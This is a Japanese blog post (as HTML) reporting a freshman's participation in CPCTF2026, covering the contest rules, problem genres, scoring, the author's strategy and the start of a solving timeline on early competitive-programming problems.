<!--kg-card-end: markdown--><p>&#x3000;traP&#x306E;&#x4E3B;&#x50AC;&#x3059;&#x308B;CPCTF&#x306B;&#x51FA;&#x5834;&#x3057;&#x3001;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305F;&#x306E;&#x3067;&#x53C2;&#x52A0;&#x8A18;&#x3092;&#x66F8;&#x304D;&#x307E;&#x3059;&#x3002;</p><h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2><p>&#x3000;CPCTF&#x3068;&#x306F;&#x3001;traP&#x306E;&#x4E3B;&#x50AC;&#x3059;&#x308B;&#x3001;&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x3068;CTF&#x304C;&#x878D;&#x5408;&#x3057;&#x305F;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x3067;&#x3059;&#x3002;&#x7AF6;&#x6280;&#x306F;48&#x6642;&#x9593;&#x958B;&#x50AC;&#x3055;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x8A73;&#x7D30;&#x306A;&#x30EB;&#x30FC;&#x30EB;&#x306A;&#x3069;&#x306F;&#x30C8;&#x30C3;&#x30D7;&#x30DA;&#x30FC;&#x30B8;&#x3092;&#x3054;&#x78BA;&#x8A8D;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;&#x3068;&#x601D;&#x3063;&#x305F;&#x3051;&#x3069;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x30B5;&#x30A4;&#x30C8;&#x304C;1&#x5E74;&#x5F8C;&#x4EE5;&#x964D;&#x306B;&#x306F;&#x898B;&#x3089;&#x308C;&#x306A;&#x3055;&#x305D;&#x3046;&#xFF08;&#x73FE;&#x6642;&#x70B9;&#x3067;2025&#x304C;&#x898B;&#x308C;&#x306A;&#x3044;&#xFF09;&#x306A;&#x306E;&#x3067;&#x3001;&#x8EFD;&#x304F;&#x307E;&#x3068;&#x3081;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;</p><h3 id="%E5%95%8F%E9%A1%8C%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x554F;&#x984C;&#x306B;&#x3064;&#x3044;&#x3066;</h3><p>&#x3000;&#x554F;&#x984C;&#x306F;&#x5168;&#x90E8;&#x3067;55&#x554F;&#x51FA;&#x984C;&#x3055;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;48&#x6642;&#x9593;&#x3092;&#x30D5;&#x30EB;&#x306B;&#x4F7F;&#x3063;&#x3066;&#x3082;&#x89E3;&#x304D;&#x304D;&#x308C;&#x308B;&#x304B;&#x602A;&#x3057;&#x3044;&#x304F;&#x3089;&#x3044;&#x5341;&#x5206;&#x306A;&#x554F;&#x984C;&#x91CF;&#x304C;&#x7528;&#x610F;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>&#x3000;&#x554F;&#x984C;&#x306B;&#x306F;&#x30B8;&#x30E3;&#x30F3;&#x30EB;&#x3068;&#x30EC;&#x30D9;&#x30EB;(&#x96E3;&#x6613;&#x5EA6;)&#x304C;&#x8A2D;&#x5B9A;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x30B8;&#x30E3;&#x30F3;&#x30EB;&#x306F;</p><ul><li>Reversing&#xFF1A;&#x5B9F;&#x884C;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x306E;&#x89E3;&#x6790;</li><li>Pwn&#xFF1A;&#x5B9F;&#x884C;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x306E;&#x8106;&#x5F31;&#x6027;&#x3092;&#x7A81;&#x3044;&#x3066;&#x5236;&#x5FA1;&#x3092;&#x596A;&#x3046;</li><li>PPC&#xFF1A;&#x7AF6;&#x30D7;&#x30ED;</li><li>Crypto&#xFF1A;&#x6697;&#x53F7;&#x6587;&#x3068;&#x6697;&#x53F7;&#x751F;&#x6210;&#x30B3;&#x30FC;&#x30C9;&#x304B;&#x3089;&#x5143;&#x306E;&#x6587;&#x5B57;&#x5217;&#x3092;&#x5FA9;&#x5143;&#x3059;&#x308B;</li><li>Shell&#xFF1A;Unix&#x30B7;&#x30A7;&#x30EB;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x8272;&#x3005;&#x3059;&#x308B;</li><li>Forensics&#xFF1A;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x305F;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x304F;&#x307E;&#x306A;&#x304F;&#x8ABF;&#x67FB;&#x3059;&#x308B;</li><li>Web&#xFF1A;Web&#x306B;&#x95A2;&#x3059;&#x308B;&#x77E5;&#x8B58;&#x3084;&#x3001;Web&#x30A2;&#x30D7;&#x30EA;&#x306E;&#x8106;&#x5F31;&#x6027;&#x3092;&#x7A81;&#x304F;&#x3002;</li><li>OSINT&#xFF1A;SNS&#x306A;&#x3069;&#x306E;&#x516C;&#x958B;&#x60C5;&#x5831;&#x3092;&#x8ABF;&#x67FB;&#x3059;&#x308B;</li><li>Misc&#xFF1A;&#x305D;&#x306E;&#x4ED6;</li></ul><p>&#x306E;&#x5168;&#x90E8;&#x3067;9&#x7A2E;&#x985E;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;<br>&#x3000;&#x96E3;&#x6613;&#x5EA6;&#x306F;5&#x6BB5;&#x968E;&#x306B;&#x8A2D;&#x5B9A;&#x3055;&#x308C;&#x3066;&#x304A;&#x308A;&#x3001;Lv1&#xFF5E;5&#x3068;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>Lv5&#x4EE5;&#x5916;&#x306E;&#x554F;&#x984C;&#x306B;&#x306F;&#x30D2;&#x30F3;&#x30C8;&#x304C;&#x3064;&#x3044;&#x3066;&#x3044;&#x3066;&#x3001;&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x958B;&#x3044;&#x3066;&#x3082;&#x70B9;&#x6570;&#x304C;&#x6E1B;&#x308B;&#x3053;&#x3068;&#x306F;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;</p><h3 id="%E7%82%B9%E6%95%B0%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x70B9;&#x6570;&#x306B;&#x3064;&#x3044;&#x3066;</h3><p>Lv1&#x306E;&#x554F;&#x984C;&#x306F;&#x56FA;&#x5B9A;&#x306E;&#x70B9;&#x6570;&#x3067;&#x3001;&#x305D;&#x308C;&#x4EE5;&#x5916;&#x306E;&#x554F;&#x984C;&#x3067;&#x306F;&#x89E3;&#x3044;&#x305F;&#x4EBA;&#x6570;&#x304C;&#x591A;&#x3044;&#x307B;&#x3069;&#x5F97;&#x70B9;&#x304C;&#x4E0B;&#x304C;&#x308A;&#x307E;&#x3059;&#x3002;&#x3064;&#x307E;&#x308A;&#x554F;&#x984C;&#x306E;&#x914D;&#x70B9;&#x306F;&#x3060;&#x3093;&#x3060;&#x3093;&#x4E0B;&#x304C;&#x3063;&#x3066;&#x3044;&#x304D;&#x307E;&#x3059;&#x304C;&#x3001;&#x70B9;&#x6570;&#x306E;&#x4F4E;&#x4E0B;&#x306F;&#x65E2;&#x306B;&#x89E3;&#x3044;&#x305F;&#x4EBA;&#x306B;&#x3082;&#x53CD;&#x6620;&#x3055;&#x308C;&#x308B;&#x305F;&#x3081;&#x3001;&#x554F;&#x984C;&#x3092;&#x89E3;&#x304F;&#x9806;&#x756A;&#x3084;&#x901F;&#x5EA6;&#x306F;&#x70B9;&#x6570;&#x306B;&#x95A2;&#x4FC2;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;<br>&#x3000;&#x57FA;&#x672C;&#x7684;&#x306B;&#x5404;&#x554F;&#x984C;100&#x56DE;&#x307E;&#x3067;&#x63D0;&#x51FA;&#x3067;&#x304D;&#x307E;&#x3059;&#x304C;&#x3001;&#x554F;&#x984C;&#x306B;&#x3088;&#x3063;&#x3066;&#x306F;&#x6E1B;&#x70B9;&#x30E9;&#x30A4;&#x30F3;&#x304C;&#x8A2D;&#x5B9A;&#x3055;&#x308C;&#x3066;&#x304A;&#x308A;&#x3001;&#x898F;&#x5B9A;&#x306E;&#x56DE;&#x6570;&#x3092;&#x8D85;&#x3048;&#x308B;&#x63D0;&#x51FA;&#x3092;&#x884C;&#x3046;&#x3068;&#x305D;&#x306E;&#x554F;&#x984C;&#x306E;&#x70B9;&#x6570;&#x304C;10&#x5206;&#x306E;1&#x306B;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;<br>&#x3000;&#x306A;&#x304A;&#x7AF6;&#x30D7;&#x30ED;&#x306E;&#x554F;&#x984C;&#x306B;&#x3064;&#x3044;&#x3066;&#x306F;yukicoder&#x4E0A;&#x3067;&#x51FA;&#x984C;&#x3055;&#x308C;&#x308B;&#x305F;&#x3081;&#x3001;&#x30B8;&#x30E3;&#x30C3;&#x30B8;&#x3082;yukicoder&#x4E0A;&#x3067;&#x884C;&#x308F;&#x308C;&#x307E;&#x3059;&#x3002;&#x8AA4;&#x7B54;&#x56DE;&#x6570;&#x306B;&#x5236;&#x9650;&#x306F;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;AC&#x3059;&#x308B;&#x3068;&#x89E3;&#x8AAC;&#x3092;&#x958B;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x3001;&#x89E3;&#x8AAC;&#x306B;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x63B2;&#x8F09;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x3092;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x30B5;&#x30A4;&#x30C8;&#x306B;&#x63D0;&#x51FA;&#x3059;&#x308B;&#x3068;&#x70B9;&#x6570;&#x304C;&#x5F97;&#x3089;&#x308C;&#x308B;&#x5F62;&#x3067;&#x3059;&#x3002;</p><h3 id="ai%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">AI&#x306B;&#x3064;&#x3044;&#x3066;</h3><p>AI&#x306E;&#x4F7F;&#x7528;&#x306F;&#x7AF6;&#x30D7;&#x30ED;&#x306E;&#x554F;&#x984C;&#x306E;&#x307F;&#x5236;&#x9650;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;CTF&#x306E;&#x554F;&#x984C;&#x3067;&#x306F;&#x5236;&#x9650;&#x306A;&#x304F;&#x4F7F;&#x3046;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p><h3 id="%E5%95%86%E5%93%81%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x5546;&#x54C1;&#x306B;&#x3064;&#x3044;&#x3066;</h3><p>&#x5546;&#x54C1;&#x306B;&#x3064;&#x3044;&#x3066;&#x306F;&#x4EE5;&#x4E0B;&#x306E;&#x901A;&#x308A;&#x3067;&#x3059;&#x3002;&#x50D5;&#x304C;&#x72D9;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x306F;&#x4E3B;&#x306B;&#x65B0;&#x5165;&#x751F;&#x8CDE;&#x3067;&#x3057;&#x305F;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://assets.st-note.com/img/1776595893-lfJ0DSocjiLP18zevNZqUkWa.png" class="kg-image" alt="CPCTF2026&#x53C2;&#x52A0;&#x8A18;/writeup&#xFF08;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#xFF09;" loading="lazy" width="620" height="378"><figcaption>&#x5546;&#x54C1;&#x4E00;&#x89A7;&#x3002;&#x304B;&#x306A;&#x308A;&#x8C6A;&#x83EF;</figcaption></figure><p>&#x30EB;&#x30FC;&#x30EB;&#x306B;&#x3064;&#x3044;&#x3066;&#x306F;&#x3053;&#x3093;&#x306A;&#x3082;&#x3093;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#x3002;</p><h3 id="%E8%87%AA%E5%B7%B1%E7%B4%B9%E4%BB%8B">&#x81EA;&#x5DF1;&#x7D39;&#x4ECB;</h3><p>&#x3000;&#x30AD;&#x30E2;&#x3044;&#x4F4D;&#x7F6E;&#x306B;&#x81EA;&#x5DF1;&#x7D39;&#x4ECB;&#x3092;&#x5165;&#x308C;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x306E;26B(26&#x5E74;&#x5EA6;&#x65B0;&#x5165;&#x751F;)&#x306E;blueberry&#x3067;&#x3059;&#x3002;AtCoder&#x306F;&#x9752;&#x3067;&#x3059;&#x3002;CTF&#x306F;1&#x304B;&#x6708;&#x524D;&#x307E;&#x3067;&#x672A;&#x7D4C;&#x9A13;&#x3067;&#x3057;&#x305F;&#x3002;&#x4F55;&#x554F;&#x304B;&#x89E3;&#x3044;&#x3066;&#x307F;&#x305F;&#x308A;&#x306F;&#x3057;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x306B;&#x51FA;&#x5834;&#x3059;&#x308B;&#x306E;&#x306F;&#x521D;&#x3081;&#x3066;&#x3067;&#x3057;&#x305F;&#x3002;</p><h2 id="%E3%82%B3%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%B5%90%E6%9E%9C%E3%81%A8%E6%84%9F%E6%83%B3">&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x7D50;&#x679C;&#x3068;&#x611F;&#x60F3;</h2><p>&#x3000;3,758&#x70B9;&#x3067;&#x5168;&#x4F53;6&#x4F4D;&#x3001;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#x3068;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x5168;55&#x554F;&#x306E;&#x3046;&#x3061;&#x3001;CTF&#x306E;&#x554F;&#x984C;&#x3067;&#x89E3;&#x3051;&#x306A;&#x304B;&#x3063;&#x305F;&#x554F;&#x984C;&#x304C;1&#x554F;&#x3001;&#x7AF6;&#x30D7;&#x30ED;&#x306E;&#x554F;&#x984C;&#x3067;&#x89E3;&#x3051;&#x306A;&#x304B;&#x3063;&#x305F;&#x554F;&#x984C;&#x304C;3&#x554F;&#x3067;&#x3001;&#x305D;&#x308C;&#x4EE5;&#x5916;&#x306E;51&#x554F;&#x3092;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;<br>&#x3000;&#x7AF6;&#x30D7;&#x30ED;&#x306E;&#x554F;&#x984C;&#x306E;&#x65B9;&#x304C;&#x6B8B;&#x3063;&#x3066;&#x308B;&#x306E;&#x306F;&#x3073;&#x3063;&#x304F;&#x308A;&#x3067;&#x3059;&#x304C;&#x3001;CTF&#x521D;&#x5FC3;&#x8005;&#x3067;&#x3053;&#x306E;&#x6210;&#x7E3E;&#x3092;&#x3068;&#x308C;&#x3066;&#x5B09;&#x3057;&#x3044;&#x3067;&#x3059;&#x3002;&#x65B0;&#x5165;&#x751F;1&#x4F4D;&#x306B;&#x306F;&#x306A;&#x308C;&#x306A;&#x304B;&#x3063;&#x305F;&#x3082;&#x306E;&#x306E;&#x3001;&#x304B;&#x306A;&#x308A;&#x6E80;&#x8DB3;&#x3067;&#x304D;&#x308B;&#x7D50;&#x679C;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-13.png" class="kg-image" alt="CPCTF2026&#x53C2;&#x52A0;&#x8A18;/writeup&#xFF08;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#xFF09;" loading="lazy" width="1175" height="660"><figcaption>&#x65B0;&#x5165;&#x751F;&#x306E;&#x5F97;&#x70B9;&#x9077;&#x79FB;&#x306E;&#x30B0;&#x30E9;&#x30D5;&#x3002;&#x6700;&#x7D42;&#x7684;&#x306B;2&#x4F4D;&#x306A;&#x306E;&#x304C;&#x50D5;&#x3067;&#x3059;</figcaption></figure><p><br>&#x3000;48&#x6642;&#x9593;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x306B;&#x51FA;&#x5834;&#x3059;&#x308B;&#x306E;&#x3082;&#x521D;&#x3081;&#x3066;&#x3067;&#x3001;&#x4F11;&#x61A9;&#x3092;&#x3069;&#x3046;&#x5165;&#x308C;&#x308B;&#x304B;&#x3068;&#x304B;&#x521D;&#x3081;&#x3066;&#x3067;&#x96E3;&#x3057;&#x304F;&#x3066;&#x3068;&#x3063;&#x3066;&#x3082;&#x75B2;&#x308C;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x3059;&#x3054;&#x304F;&#x697D;&#x3057;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;&#x9014;&#x4E2D;1&#x4F4D;&#x306E;&#x77AC;&#x9593;&#x3082;&#x4F55;&#x5EA6;&#x304B;&#x3042;&#x308A;&#x3001;&#x629C;&#x304B;&#x3057;&#x305F;&#x308A;&#x629C;&#x304B;&#x3057;&#x8FD4;&#x3055;&#x308C;&#x305F;&#x308A;&#x71B1;&#x3044;&#x6226;&#x3044;&#x304C;&#x3067;&#x304D;&#x3066;&#x826F;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;<br>&#x3000;&#x3055;&#x3066;&#x3001;&#x611F;&#x60F3;&#x306F;&#x3053;&#x3093;&#x306A;&#x3082;&#x3093;&#x3067;&#x3059;&#x304B;&#x306D;&#x3002;&#x4EE5;&#x4E0B;&#x30CD;&#x30BF;&#x30D0;&#x30EC;&#x3092;&#x591A;&#x304F;&#x542B;&#x307F;&#x307E;&#x3059;&#x3001;&#x3068;&#x3044;&#x3046;&#x304B;&#x5168;&#x3066;&#x304C;&#x30CD;&#x30BF;&#x30D0;&#x30EC;&#x306A;&#x306E;&#x3067;&#x3088;&#x308D;&#x3057;&#x304F;&#x304A;&#x9858;&#x3044;&#x3057;&#x307E;&#x3059;&#x3002;&#x3042;&#x3068;&#x305F;&#x3076;&#x3093;&#x8D85;&#x9577;&#x3044;&#x306E;&#x3067;&#x98DB;&#x3070;&#x3057;&#x8AAD;&#x307F;&#x3059;&#x308B;&#x306E;&#x304C;&#x826F;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p><h2 id="%E5%9F%BA%E6%9C%AC%E6%96%B9%E9%87%9D">&#x57FA;&#x672C;&#x65B9;&#x91DD;</h2><p>&#x5B9F;&#x969B;&#x306E;&#x7ACB;&#x3061;&#x56DE;&#x308A;&#x3092;&#x632F;&#x308A;&#x8FD4;&#x308B;&#x524D;&#x306B;&#x57FA;&#x672C;&#x65B9;&#x91DD;&#x306B;&#x3064;&#x3044;&#x3066;&#x3002;</p><ul><li>&#x30D2;&#x30F3;&#x30C8;&#x306F;&#x5373;&#x958B;&#x3051;&#x3059;&#x308B;<br>&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x958B;&#x3044;&#x3066;&#x3082;&#x70B9;&#x6570;&#x306F;&#x4E0B;&#x304C;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x958B;&#x304F;&#x30C7;&#x30E1;&#x30EA;&#x30C3;&#x30C8;&#x306F;&#x306A;&#x3044;&#x3002;&#x3080;&#x3057;&#x308D;&#x958B;&#x304B;&#x306A;&#x3044;&#x3068;&#x4E0D;&#x5229;&#x306A;&#x306E;&#x3067;&#x5373;&#x958B;&#x304F;&#x3002;</li><li>&#x6F5C;&#x4F0F;&#x306F;&#x3057;&#x306A;&#x3044;<br>&#x3069;&#x306E;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3067;&#x653E;&#x51FA;&#x3059;&#x308B;&#x304B;&#x3068;&#x304B;&#x304C;&#x9762;&#x5012;&#x306A;&#x306E;&#x3067;&#x6F5C;&#x4F0F;&#x306F;&#x884C;&#x308F;&#x306A;&#x3044;&#x3002;&#x81EA;&#x5206;&#x306E;&#x73FE;&#x5728;&#x4F4D;&#x7F6E;&#x3082;&#x628A;&#x63E1;&#x3057;&#x3065;&#x3089;&#x304F;&#x306A;&#x308B;&#x306E;&#x3082;&#x3042;&#x308B;&#x3002;</li><li>&#x89E3;&#x3051;&#x308B;&#x554F;&#x984C;&#x304B;&#x3089;&#x89E3;&#x304F;&#xFF08;&#x57FA;&#x672C;&#x7684;&#x306B;&#x96E3;&#x6613;&#x5EA6;&#x9806;&#x306B;&#x89E3;&#x304F;&#xFF09;<br>&#x89E3;&#x3044;&#x3066;&#x3044;&#x308B;&#x4EBA;&#x6570;&#x304C;&#x591A;&#x3044;&#x554F;&#x984C;&#x304B;&#x3089;&#x89E3;&#x304D;&#x306B;&#x884C;&#x304F;&#x3002;&#x5148;&#x306B;&#x96E3;&#x3057;&#x3044;&#x554F;&#x984C;&#x3092;&#x89E3;&#x304F;&#x307F;&#x305F;&#x3044;&#x306A;&#x6226;&#x7565;&#x3082;&#x3042;&#x308B;&#x6C17;&#x304C;&#x3059;&#x308B;&#x304C;&#x3001;&#x8003;&#x3048;&#x308B;&#x306E;&#x304C;&#x9762;&#x5012;&#x306A;&#x306E;&#x3067;&#x3002;</li><li>AI&#x3092;&#x30D5;&#x30EB;&#x6D3B;&#x7528;&#x3059;&#x308B;<br>CTF&#x5206;&#x91CE;&#x3067;&#x306F;AI&#x3092;&#x30D5;&#x30EB;&#x6D3B;&#x7528;&#x3059;&#x308B;&#x3002;&#x305F;&#x3060;&#x3057;AI&#x306B;&#x4E00;&#x5207;&#x8AB2;&#x91D1;&#x3057;&#x3066;&#x3044;&#x306A;&#x3044;&#x306E;&#x3067;&#x3084;&#x3084;&#x4E0D;&#x5229;&#x304B;&#x3082;&#x3057;&#x308C;&#x306A;&#x3044;&#x3002;</li><li>&#x7761;&#x7720;&#x6642;&#x9593;&#x3092;&#x524A;&#x308B;<br>48&#x6642;&#x9593;&#x3057;&#x304B;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x7761;&#x7720;&#x6642;&#x9593;&#x306F;&#x524A;&#x3063;&#x305F;&#x65B9;&#x304C;&#x7AF6;&#x6280;&#x306B;&#x5145;&#x3066;&#x3089;&#x308C;&#x308B;&#x6642;&#x9593;&#x304C;&#x5897;&#x3048;&#x308B;&#x3002;&#x51FA;&#x6765;&#x308B;&#x3053;&#x3068;&#x304C;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x3066;&#x3001;&#x304B;&#x3064;&#x982D;&#x304C;&#x50CD;&#x3044;&#x3066;&#x3044;&#x308B;&#x306E;&#x306A;&#x3089;&#x3070;&#x7761;&#x7720;&#x306F;&#x57FA;&#x672C;&#x7684;&#x306B;&#x30ED;&#x30B9;&#x3068;&#x8003;&#x3048;&#x308B;&#x3002;</li></ul><p>&#x307E;&#x3042;&#x7D50;&#x69CB;&#x5F53;&#x305F;&#x308A;&#x524D;&#x306E;&#x3053;&#x3068;&#x3057;&#x304B;&#x8A00;&#x3063;&#x3066;&#x3044;&#x306A;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p><h2 id="%E6%8C%AF%E3%82%8A%E8%BF%94%E3%82%8A">&#x632F;&#x308A;&#x8FD4;&#x308A;</h2><p>&#x3000;&#x3053;&#x3053;&#x304B;&#x3089;&#x306F;&#x6642;&#x7CFB;&#x5217;&#x9806;&#x306B;&#x3084;&#x3063;&#x3066;&#x3044;&#x305F;&#x3053;&#x3068;&#x3092;&#x632F;&#x308A;&#x8FD4;&#x308A;&#x307E;&#x3059;&#x3002;</p><h3 id="%E9%96%8B%E5%A7%8B%E5%89%8D">&#x958B;&#x59CB;&#x524D;</h3><p>&#x3000;5-6&#x9650;&#x307E;&#x3067;&#x6388;&#x696D;&#x304C;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x5373;&#x5E30;&#x5B85;&#x3057;&#x3066;17:14&#x304B;&#x3089;&#x4EEE;&#x7720;&#x3092;&#x53D6;&#x308A;&#x3001;&#x8D77;&#x304D;&#x305F;&#x3089;20:42&#x3067;&#x3057;&#x305F;&#x3002;&#x3061;&#x306A;&#x307F;&#x306B;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x958B;&#x59CB;&#x306F;20:00&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x666E;&#x901A;&#x306B;&#x9045;&#x523B;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x307E;&#x3042;&#x89E3;&#x304F;&#x30B9;&#x30D4;&#x30FC;&#x30C9;&#x3084;&#x30B9;&#x30BF;&#x30FC;&#x30C8;&#x30C0;&#x30C3;&#x30B7;&#x30E5;&#x306F;&#x70B9;&#x6570;&#x306B;&#x306F;&#x95A2;&#x4FC2;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x3061;&#x3083;&#x3093;&#x3068;&#x7761;&#x7720;&#x304C;&#x53D6;&#x308C;&#x305F;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3067;&#x826F;&#x304B;&#x3063;&#x305F;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x8272;&#x3005;&#x6E96;&#x5099;&#x3057;&#x3066;&#x3001;&#x89E3;&#x304D;&#x59CB;&#x3081;&#x305F;&#x306E;&#x306F;21:07&#x3067;&#x3057;&#x305F;&#x3002;&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x65B0;&#x5165;&#x751F;&#x9806;&#x4F4D;&#x306F;18&#x4F4D;&#x3067;&#x3057;&#x305F;&#x3002;</p><h3 id="sign-up-for-trap-lv1ppc">Sign up for traP (Lv.1/PPC)</h3><p>&#x3000;&#x3068;&#x308A;&#x3042;&#x3048;&#x305A;PPC&#x3092;&#x89E3;&#x3051;&#x308B;&#x3068;&#x3053;&#x308D;&#x307E;&#x3067;&#x89E3;&#x304F;&#x3053;&#x3068;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;&#x6587;&#x5B57;&#x5217;&#x304C;&#x7279;&#x5B9A;&#x306E;&#x6761;&#x4EF6;&#x3092;&#x6E80;&#x305F;&#x3057;&#x3066;&#x3044;&#x308B;&#x304B;&#x3069;&#x3046;&#x304B;&#x3092;&#x5224;&#x5B9A;&#x3059;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;&#x4E00;&#x77AC;&#x3060;&#x3051;&#x6B63;&#x898F;&#x8868;&#x73FE;&#x304C;&#x982D;&#x3092;&#x3088;&#x304E;&#x308B;&#x3082;&#x306E;&#x306E;&#x3001;&#x8ABF;&#x3079;&#x305A;&#x306B;&#x6271;&#x3048;&#x308B;&#x307B;&#x3069;&#x6163;&#x308C;&#x3066;&#x3044;&#x306A;&#x3044;&#x306E;&#x3067;&#x666E;&#x901A;&#x306B;&#x6761;&#x4EF6;&#x5F0F;&#x3092;&#x66F8;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x3000;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x30B5;&#x30A4;&#x30C8;&#x306B;&#x63D0;&#x51FA;&#x3057;&#x3088;&#x3046;&#x3068;&#x601D;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x81EA;&#x5206;&#x304C;&#x51FA;&#x9045;&#x308C;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x3092;&#x601D;&#x3044;&#x51FA;&#x3057;&#x305F;&#x306E;&#x3067;&#x30D5;&#x30E9;&#x30B0;&#x306E;&#x63D0;&#x51FA;&#x306F;&#x3044;&#x3063;&#x305F;&#x3093;&#x4FDD;&#x7559;&#x3059;&#x308B;&#x3053;&#x3068;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;(21&#x6642;18&#x5206;)</p><!--kg-card-begin: markdown--><h3 id="modulo-equationlv1ppc">Modulo Equation(Lv.1/PPC)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x6700;&#x5C0F;&#x5024;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span> &#x4EE5;&#x4E0B;&#x306A;&#x306E;&#x3067;&#x666E;&#x901A;&#x306B;&#x5168;&#x63A2;&#x7D22;&#x3059;&#x308C;&#x3070;&#x3088;&#x3044;&#x3002;(21&#x6642;22&#x5206;)</p>
<h3 id="i-love-daglv2ppc">I Love DAG(Lv.2/PPC)</h3>
